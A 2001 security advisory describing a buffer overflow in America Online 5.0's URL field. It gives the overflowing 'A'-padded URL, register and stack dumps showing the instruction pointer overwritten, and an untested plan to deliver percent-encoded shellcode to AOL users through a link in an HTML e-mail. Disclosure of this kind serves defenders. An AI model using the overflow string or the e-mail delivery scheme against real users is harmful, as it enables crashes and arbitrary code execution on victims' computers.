Scalar Security Research Labs =================================== Presents --------------------------[ Advisory 01-03 ]-------------------------- Advisory ID : 01-03 Synopsis : A buffer overflow in America Online 5.0 Application : America Online 5.0; other versions may be affected Vendor : Not yet notified Web Contact : www.aol.com Exploit : Possible denial-of-service and ability for arbitrary command execution Author : scalar E-mail : scalar@shadowvx.com Homepage : chronix.shadowvx.com ---| Table of Contents ---| The Problem ---| Exploit Details ---| Patches/Workarounds ---| Disclaimer ---| Feedback ---| The Problem: America Online 5.0 is the software used by millions of users to connect to the online service America Online provides. Within the software is a field in which the user inputs the URL of the website he/she wishes to visit. Under several tests performed, this field has had its buffer overflowed, however, the characteristics of the overflow are very unusual. The exact amount of characters to overflow the buffer has varied with every test, and this is assuming the overflow attempts were even successful. The following URL has overflowed the buffer: http://existing_host/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA Though, repeating the test with same amount of characters has been unsuccessful. More commonly, twice the amount of 'A' characters has overflowed the buffer. Though, the malicious user must craft the amount prudently, because entering too many characters causes the AOL 5.0 software to open the "Keyword" window box, and completely disregard the URL request. When the buffer does overflow, two popups appear indicating that an invalid page fault has occured. The first popup always outputs the error in module WWW.TOL. This is a file located at: C:\America Online 5.0\tool\www.tol The second popup is visible as soon as the first is closed. The following data is the information given by Windows: [ First Popup ] WAOL caused an invalid page fault in module WWW.TOL at 0167:6360728d. Registers: EAX=41414141 CS=0167 EIP=6360728d EFLGS=00010206 EBX=00000000 SS=016f ESP=0064dfd4 EBP=0064dfdc ECX=0066c538 DS=016f ESI=ffff0197 FS=6007 EDX=00000030 ES=016f EDI=00000030 GS=0000 Bytes at CS:EIP: 66 39 38 74 6e 8b 40 02 85 c0 75 f4 be bc a5 60 Stack dump: 0064e080 ffff0197 0064e000 63607331 00000030 00817780 0064e528 00000009 6340414e ffff0197 00000030 0064e024 634040b8 00000009 0064e528 00000007 [ Second Popup ] WAOL caused an invalid page fault in module at 0000:41414141. Registers: EAX=41414141 CS=0167 EIP=41414141 EFLGS=00010206 EBX=63600000 SS=016f ESP=0404fc54 EBP=0404fc70 ECX=41414141 DS=016f ESI=00000000 FS=6d77 EDX=00000000 ES=016f EDI=00000001 GS=0000 Bytes at CS:EIP: Stack dump: 636077f3 63600000 00000000 00000001 00000000 63600000 8174047c 0404fe38 bff7ddd6 63600000 00000001 00000001 00000000 63600000 8174047c 8175ddd8 By analyzing the second popup we see EIP=41414141. 0x41 is the hex value of 'A', which is the character used to overflow the buffer. EIP is the register of the next instruction pointer (i.e., the next instruction executed). Overwriting this register would allow any command supplied by the attacker to be executed. The problem exploiting this particular overflow is that the varying amount of characters required to overflow the buffer causes difficulties in determining the point where EIP becomes overwritten. ---| Exploit Details: No exploit has been written at this time. Though, a possible denial-of-service may occur if a hyperlink of type: CLICK HERE! was to be embedded within a HTML e-mail sent to an unknowing AOL user that clicks on the hyperlink. If this was to work, possible shellcode could also be sent within the link using the % metacharacter. This type of exploitation is completely untested. And, due to the instability of the overflow, if this would work, several attempts (clicks) may be required. The format of the exploit would be http://%opcode%opcode%opcode, where %opcode refers to shellcode. For example, a null in the form of \x00 would be converted to %00. ---| Patches/Workarounds: None known at this time. ---| Disclaimer: The information contained in this advisory is the copyright of Scalar Security Research Labs. The data is believed to be accurate at the time of release, but no representation or warranty is given, express or implied, as to its accuracy or completeness. Neither the author nor the publisher accepts any liability whatsoever for any direct, indirect or conquential loss or damage arising in any way from any use of, or reliance placed on, this information for any purpose. This advisory may be redistributed provided that no fee is assigned and that the content is not modified in any way. ---| Feedback: Please send suggestions, updates, and comments to: Scalar Security Research Labs E-mail : scalar@shadowvx.com Homepage : chronix.shadowvx.com ______________________________________________________________________ Copyright 2001. Scalar Security Research Labs. All rights reserved.